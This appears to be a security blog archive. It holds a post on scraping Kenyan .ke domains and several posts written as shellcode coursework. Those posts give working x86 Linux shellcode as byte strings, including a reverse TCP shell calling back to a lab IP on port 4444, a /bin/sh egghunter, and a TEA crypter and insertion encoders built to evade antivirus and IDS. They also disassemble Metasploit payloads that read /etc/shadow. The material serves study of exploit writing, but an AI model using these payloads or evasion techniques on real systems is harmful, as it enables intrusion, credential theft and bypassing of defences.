Thursday, August 18, 2016

How to gather domains belonging to a Top Level Domain (TLD)

I was recently looking for a list of all domains belonging to a country, i tried the usual methods of googling for lists and came up empty. The sites that i found that claimed to have such lists were asking for money.....and you know how that usually goes. So i took it upon myself to scrape the Internet and find as many domains belonging to a country as possible. If anyone has a more elegant way of getting these kinds of lists without that doesn't include paying money, I'm all ears.  For example if you wanted to find the domains the belong to a country like Uganda, you'd have to find as many ug domains as possible or if you're a German, find as many .de sites as possible. For this exercise I didn't bother including the .com .net domains and the like for obvious reasons. I have picked Kenya (.ke) as  the country of interest. Without further ado lets dive in, but before we start, certain assumptions have to be made:
1.    All sites ending with .ke belong to Kenya
2.    All the domains are in 3 parts in the format for example ku.ac.ke
3.    We don't have any money to use the paid services (not really an assumption :-))

My first order of business was to collect the top visited sites belonging to that country on Alexa. Alexa lists the top 500 sites visited by each country. What better way to start finding domains by going to a site that has done part of the work for you. With this i quickly fired up python and wrote a simple script that would give us a nice list of the domains in a well listed format. I leveraged the adept beautiful Soup library which has amazing capabilities when it comes to scraping web pages.


Disclaimer: Any change in the structure of the webpage will break the scraper so probably by the time you read this post and Alexa has changed its websites' structure, the scraper will seize to work as expected.

Run the above script.

roman@ubuntu /tmp $ python topKEwebsites.py 

This gives us a nice list like the one below. (I've trimmed it for brevity)

We'll check our top500kenyansites.txt list to make sure the sites are 500.

cat top500kenyansites.txt | wc -l
500 

With this, we'll use bash to get only those ending with .ke. The below bash line should suffice. This leaves us with 66 domains.

roman@ubuntu /tmp $ cat top500kenyansites.txt | grep '.ke$' > alexalist.txt
roman@ubuntu /tmp $ cat alexalist.txt | wc -l
66

Next we're going to scrape google to find as many .ke domains as possible. For this post I'll do only google but if you want to be more thorough in your results you can leverage other search engines as well. The concepts are the same as when you use google.

For this next step there are a number of ways of achieving this; you could use the google API but its heavily limiting in terms of the number of results we'll get back. When i tried it i think i was limited to 10 results which is hardly helpful since we're trying to get all the domains google has indexed for our TLD in question. We could also pay for services like import[.]io but that goes against one of the targets of this post (not spending money in the process of getting our list). Another way would be to scrape the google results pages as i first did when i attempted this exercise but that is now a dead end as well since what will be returned by HTTP request is meant for browsers to render and beautiful soup doesn't render data so we'll probably end up with empty container which are later filled in dynamically as a page renders. Google probably did it to thwart attempts like this one. I finally decided on the method used by Chris Ains. With his method you need to have the chrome browser since he wrote a bookmark-let to get all the URLs from a particular search. Follow the steps listed in the link below.

http://www.chrisains.com/seo-tools/extract-urls-from-web-serps/

Once your browser is all set, we'll use the google search operand "site:.ke". This should give us the as the in the screen-shot below.














 



From this we can see the various sub domains for the .ke TLD ie .go.ke,.ac.ke,.or.ke,.me.ke. We'll repeat the searches for the other sub-domains that we have found. Don't forget to scroll to the end each of the search results before clicking the bookmark-let as stated in Chris' steps.













 



Go to the results processed by the bookmark-let and scroll to the URL list section. Copy all the URLs for all the results got from the various sub-domain searched and put them in a text file.

roman@ubuntu /tmp $ cat kenyaURLs.txt | wc -l
3249

This gave me about 3249 URLs. The next plan is to extract the domain names from all the URLs.
We'll first remove the duplicates and the extra unwanted http stuff and links. This leaves us with about 1216 domains.

roman@ubuntu /tmp $ cat kenyaURLs.txt | cut -d"/" -f 3 | sort -u > uniqueDomains.txt
roman@ubuntu /tmp $ cat uniqueDomains.txt | wc -l
1216
roman@ubuntu /tmp $ cat uniqueDomains.txt | head
aasciences.ac.ke
abdalla.me.ke
about.me.ke
academics.uonbi.ac.ke
accommodation.ku.ac.ke
account.ecitizen.go.ke
acorce.nca.go.ke
actuarieskenya.or.ke
adc.or.ke
adis.uonbi.ac.ke

roman@ubuntu ~/playing_folder/KENYA $ cat kenyaURLs.txt | wc -l
3249

This gave me about 3249 URLs. The next plan is to extract the domain names from all the URLs.
We'll first remove the duplicates and the extra unwanted http stuff and links. This leaves us with about 1216 domains.

roman@ubuntu /tmp $ cat kenyaURLs.txt | cut -d"/" -f 3 | sort -u > uniqueDomains.txt
roman@ubuntu /tmp $ cat uniqueDomains.txt | wc -l
1216

roman@ubuntu /tmp $ cat uniqueDomains.txt | head
aasciences.ac.ke
abdalla.me.ke
about.me.ke
academics.uonbi.ac.ke
accommodation.ku.ac.ke
account.ecitizen.go.ke
acorce.nca.go.ke
actuarieskenya.or.ke
adc.or.ke
adis.uonbi.ac.ke


We quickly run into a problem for example academics.uonbi.ac.ke and adis.uonbi.ac.ke both belong to the same domain but are listed as separate in our list.

roman@ubuntu /tmp $ sed -e 's/./\L&/' alexalist.txt >> uniqueDomains.txt 
roman@ubuntu /tmp $ cat uniqueDomains.txt | wc -l
1282
roman@ubuntu /tmp $ cat uniqueDomains.txt | sort -u | wc -l
1278
roman@ubuntu /tmp $ cat uniqueDomains.txt | sort -u > unifiedlist.txt
roman@ubuntu /tmp $ cat unifiedlist.txt | wc -l
1278
roman@ubuntu /tmp $ sed 's/^\( *\).*\.\(.*\..*\.\)/\1\2/' unifiedlist.txt | sort -u > FINAL.txt
roman@ubuntu /tmp $ cat FINAL.txt | wc -l
958

In the above snippets what I've done is append our first list (the one that we got from Alexa) to our uniqueDomains.txt list. I first changed the case of all the first characters to lower since they were all uppercase, during the sorting, bash would have treated them differently.
I then went ahead and sorted them so that the duplicated were removed and then in the final esoteric sed command usage, I basically removed all the sub-domains (remember our academics.uonbi.ac.ke and adis.uonbi.ac.ke problem?) Well this snippet seeks to solve that problem. So we end up with a nice list of 958 unique .ke domains. You can find the list of the domains as well as the code snippets on my github.

Monday, January 26, 2015

Manual Shellcode Obfuscation

This post shows some techniques used in shellcode obfuscation. The shellcodes were got from shell-strorm.org.

Sunday, January 25, 2015

Tiny Encryption Algorithm Crypter

I chose to use Tiny Encryption Algorithm for writing my crypter because its small and its compilation doesn’t require importing any other libraries. Its also kind to the processor during the key decryption process (remember the point is to simple evade AV) so the encryption doesn’t have to be the strongest in the world. To find out more about crypters and their implementations you can check out this paper. Now onto the implementation of my crypter.
The reference code is from wikipedia. I implemented it in c to leverage the languages' speed. I used the basic /bin/sh shell-code to test the crypter. I tested it on an Ubuntu system.
We copy the shellcode we want to deploy into the shellcode field as shown above. You can change the key to whatever value you want to provided you retain the format. Next we compile the code in the c file "gcc TEA.c -o TEA" and then run it "./TEA". This will give us the crypted /bin/sh shellcode.  You should get get output like this.
 
roman@ubuntu:~/SLAE/Shellcode/Crypter$ ./TEA

Encrypted:
\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33
\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd
Length: 40
 
We then paste the above shell-code into another c program which will execute the shellcode. Make sure the key you use in this program (lets call it TEAExecuteshellcode.c) is the same as the one you used in TEA.c So what this program basically does is run the decryption algorithm on the shellcode and then executes it.

As usual we compile and run it. "gcc -fno-stack-protector -z execstack TEAExecuteShellcode.c -o TEAExecuteShellcode" Run the shellcode through objdump to make sure it has no nulls and then run the shellcode "./TEAExecuteshellcode". This should give us the /bin/sh shell which means our crypter is working.


 

Wednesday, January 7, 2015

Analysis of Linux metasploit shellcode

Shell Find Port shellcode

root@ubuntu:~# msfpayload linux/x86/shell_find_port S > shell_find_port
root@ubuntu:~/libemu/tools/sctest$ cat shell_find_port |./sctest -vvv -Ss 10000 -G shell_find_port.dot
root@ubuntu:~/libemu/tools/sctest$ dot shell_find_port.dot -Tpng -o shell_find_port.png

The above set of commands leverage the libemu library to produce a pictoral flow of the linux/x86/shell_find_port metasploit payload. Lets start with what we know. We know that the the value 0x66 represents the syscall number for a socketcall().




The value 0x66 (102 decimal) is pushed onto the stack and then EAX popped from the stack. This is an inderect way of loading 0x66 into the EAX register. We know that the socketcall() takes two values as input ie the int call and unsigned long *args from the man page. As we continue deeper into the code, we find that the getpeername() function is called. The call numbers are stored in the /usr/include/linux/net.h. A quick glance at the net.h file shows

#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */


which gives us insight on why the value 7 was loaded into the bl register. see blue arrow

Upon inspection of the getpeername man page,
GETPEERNAME(2)             Linux Programmer's Manual            GETPEERNAME(2)

NAME
       getpeername - get name of connected peer socket

SYNOPSIS
       #include <sys/socket.h>

       int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

DESCRIPTION
       getpeername()  returns  the address of the peer connected to the socket
       sockfd, in the buffer pointed to by addr.  The addrlen argument  should
       be  initialized to indicate the amount of space pointed to by addr.  On
       return it contains the actual size of the  name  returned  (in  bytes).
       The name is truncated if the buffer provided is too small.
We find that that it takes in a socket file descriptor as input, a pointer to the sock address. At this point it starts to make sense what the loop is about. It goes through the various port numbers while comparing their values to the present value of 0x32b2 which is port number 12978 in decimal. It iterates through the port numbers and sets the jz flag on success while ince=reasing the ECX register.
However it doesnt make sense for a payload to just iterate through ports without having an alterior motive. At this port I used ndisasm to inspect the same code.

root@ubuntu:~/libemu/tools/sctest$ cat new_shell_find_port |ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7
0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                pop eax
00000013  CD80              int 0x80
00000015  66817F02B232      cmp word [edi+0x2],0x32b2
0000001B  75F1              jnz 0xe
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80


Basically the libemu analysis stopped on line 0000001B because I didnt open the required port during analysis. With ndsasm we're able to see the proceeding constructs of the shellcode. I found that if the code gets out of the loop (upon finding an open port) a duplicating file descriptor is called (dup2). This can be seen from the value 0x3f being loaded into the EAX register and then the syscall being made.
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
The next portion of the code is fairly recognisable which means the payload goes ahead and spawns a /bin/sh shell on success and the syscall for execve 0xb can be seen loaded into the EAX register and the int 0x80 call made.

00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80
  
Analysis of metasploit's linux/x86/chmod shellcode

The first three instructions basically load the value 15 (0xf hex) into the EAX register which is the syscall number for the chmod() function.
roman@ubuntu:~/libemu/tools/sctest$ cat chmod_shellcode |ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Below is a section of the chmod man page.

CHMOD(2)                   Linux Programmer's Manual                  CHMOD(2)

NAME
       chmod, fchmod - change permissions of a file

SYNOPSIS
       #include <sys/stat.h>

       int chmod(const char *path, mode_t mode);
       int fchmod(int fd, mode_t mode);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       fchmod():
           _BSD_SOURCE || _XOPEN_SOURCE >= 500 ||
           _XOPEN_SOURCE && _XOPEN_SOURCE_EXTENDED
           || /* Since glibc 2.12: */ _POSIX_C_SOURCE >= 200809L

DESCRIPTION
       These system calls change the permissions of a file.  They differ  only
       in how the file is specified:
 
From the manual we see that it takes two values as input. A pointer to the path of the file and the mode. After loading the values into the registers, the interrupt is called. The final portion of the code as we saw earlier id the exit routine. The screen shot below is generated from libemu and shows the order of execution.

Analysis of linux/x86/read_write metasploit shellcode

roman@ubuntu:~/SLAE$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8
\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb
\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff
\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" |ndisasm -u -

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49


This shellcode leverages the jump call pop technique to avoid the nullbytes in the call forward if it were to jump forward. The value 5 is loaded into the EAX register which is the syscall number for open(). It takes in two variables ie *pathname and flags as shown in the manual below.


OPEN(2)                    Linux Programmer's Manual                   OPEN(2)



NAME

       open, create - open and possibly create a file or device



SYNOPSIS

       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>


       int open(const char *pathname, int flags);
       int open(const char *pathname, int flags, mode_t mode);
       int creat(const char *pathname, mode_t mode);


DESCRIPTION
       Given a pathname for a file, open() returns a file descriptor, a small,
       nonnegative integer  for  use  in  subsequent  system  calls  (read(2),
       write(2), lseek(2), fcntl(2), etc.).  The file descriptor returned by a
       successful call will be the lowest-numbered file  descriptor  not  cur‐
       rently open for the process.

The value zero is loaded into the ECX register and then the call is made.


00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80


The next portion of the code loads the value 3 into the EAX register which is the syscall number for read() from a file descriptor. The read function takes 3 variables, the file descriptor, pointer to buffer and count which is the maximum size of the file that can be read.

READ(2)                    Linux Programmer's Manual                   READ(2)


NAME
       read - read from a file descriptor

SYNOPSIS

       #include <unistd.h>

       ssize_t read(int fd, void *buf, size_t count);

DESCRIPTION

       read()  attempts to read up to count bytes from file descriptor fd into
       the buffer starting at buf.
       If count is zero, read() returns zero and has  no  other  results.   If
       count is greater than SSIZE_MAX, the result is unspecified.


So this makes sense since the above function opens the file and this one reads from it up to a maximum of 4096 bytes which is the 0x1000 in hex you see loaded into the EDX register. As usual the int 0x80 shows the syscall being made after the values have been loaded.

0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80


The next portion of the shellcode loads the value 4 into the EAX register which is the syscall number for write(). The write function like the read function takes 3 values as input ie file descriptor, a pointer to the buffer and the size of the bytes to be written

WRITE(2)                   Linux Programmer's Manual                  WRITE(2)



NAME
       write - write to a file descriptor


SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION

       write()  writes  up  to  count bytes from the buffer pointed buf to the
       file referred to by the file descriptor fd.


In the shellcode we see the value 1 loaded into the ebx register which is the file descriptor value which translates to standard output(stdout). The call is then made.

00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80


The remainder of the code is basically an exit routine which can be recognized from the value 1 being loaded into the EAX register. Zero is loaded into the EBX register and then the interrupt is called.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

Insertion encoder/decoder shellcode


For this solution I decided to incorporate the homework and the assignment and put two random characters between two legitimate shellcode values.
Key:
Legit = Legitimate piece of shellcode
Random = Bogus character placed to evade IDS.
-------------------------------------------------------------------------------------------------------------
|Legit |Legit |Random |Random |Legit |Legit |Random |Random|.....
-------------------------------------------------------------------------------------------------------------
The code that encodes the shellcode is a simple python script shown below
** It should be noted that the shellcode is a basic /bin/sh shellcode
The code below shows the decoder stub which should decode the bin/sh shellcode to give us back our original /bin/sh shellcode.

Still on the subject of insertion, I wrote another encoder decoder based on Vivek's poor man's encoder/decoder.
The python script below first reverses the shellcode and then inserts a random character between each value.
 **Note that the random characters generared dont include 255 (0xff) as we use it to signal the end of our shellcode.
Decoder All the code used here can be found at my github account here.

Egghunter Shellcode

After going through skape's paper on egghunters at http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. In order for me fully understand and comprehend the use and usage of egg hunter shellcode, I went through a walk through of savant exploitation on greycorner.com. This gave me an understanding on what the use of egghunter and is and in which scenarios it can be leveraged.
    There's little point in re-writing what was written in skapes paper however it can be summarized as follows. For the linux platform there are basically 3 ways of leveraging the egg hunter technique.
    The first being using the access syscall where the egg is loaded into the EBX register since the access function takes in a pointer to the pathname as the first arguement. The value in EBX is then compared to the contents of the pointer in the EDX register. The EDX register is used to iterate through the addresses in the current page in memory. If they values dont match, it continues ina loop and increments the EDX. If the egg is found, implementation jumps to the EDX where the second stage of the payload is and begins execution.
    The second way is some what similar to what we've just explained above since it also leverages the access syscall. The major difference comes in the fact that while the previous method didnt check for validity of the addresses, this one first checks for the validity of the address only after a valid address has been determined does it start doing the comparisons. Another difference in terms of the functionality is that the egg is stored in the EAX register and compared to the EDI (contents of memory stored here) using the native scasd instruction.
    The final implementation is different from the previous ones in terms of speed and size in that its faster and smaller and leverages the sigaction syscall. The reason for its speed stems from the fact that while using the sigaction function, its able to search multiple addresses at a time. The logic behind this fact is that incrementing by PAGE_SIZE allows for quicker searching through invalid memory regions. This is the most common implementation of the egg hunter due to its relatively smaller size of 30bytes compared to the previous two which are 38 and 35 bytes respectively. The other advantage it has is that its search time is also lower than the previous two since it searches multiple pages at a time. Below is the egghunter code.
 We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the egghunter.nasm, when compiling with compile.sh, just do "./compile.sh egghunter" Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d egghunter -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.

"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8"
"\x90\x50\x90\x50"-----> Tag to hunt for
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

The code below the tags is a basic /bin/sh shellcode and can be substituted for any other shellcode.

"\x90\x50\x90\x50"----> EggHunter tags i.e. value to be searched for (If you decide to
"\x90\x50\x90\x50"     change the tag be sure to change the tag in the egghunter code too)
"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80".

 We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode".



Monday, January 5, 2015

Creating a Shell Reverse TCP Shellcode

To write a reverse tcp shell, we'll build on what we did for the bind_tcp. The difference is that the reverse tcp code initiates the connection back to the attacking machine. We're going to make few changes to the bind_tcp code since both use the same call to socket. The connect() function will take an ip address as input. If you recall in the bind_tcp call setup, we set the value of in connect() to zero. In this case we'll feed in an ip address (in hex ofcourse) and in reverse due to the arrangement of the stack. In my little lab, I used the ip address 192.168.62.132 which is 0x843EA8C0. The only other difference we'll make to the code will be loading EBX with the value 3 which is a call to connect(). The whole code can be got from my github.

 We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_reverse_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_reverse_tcp" Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_reverse_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x68\xc0\xa8\x3e\x84\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80".

 We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode". To test this shellcode we'll need two systems (VMs) open port 4444 on one system (attacking). You can use netcat "nc -lvp 4444" to open 4444 on the attacking system. Then run the shellcode on the victim system (dont forget to set the the IP and appropriate port (4444 in my case) as shown in the nasm code). After running the shellcode, a connection should be established on the attacking system. Run "netstat -ntlp" on the victim system for confirmation it should show an established connection to the attacking system.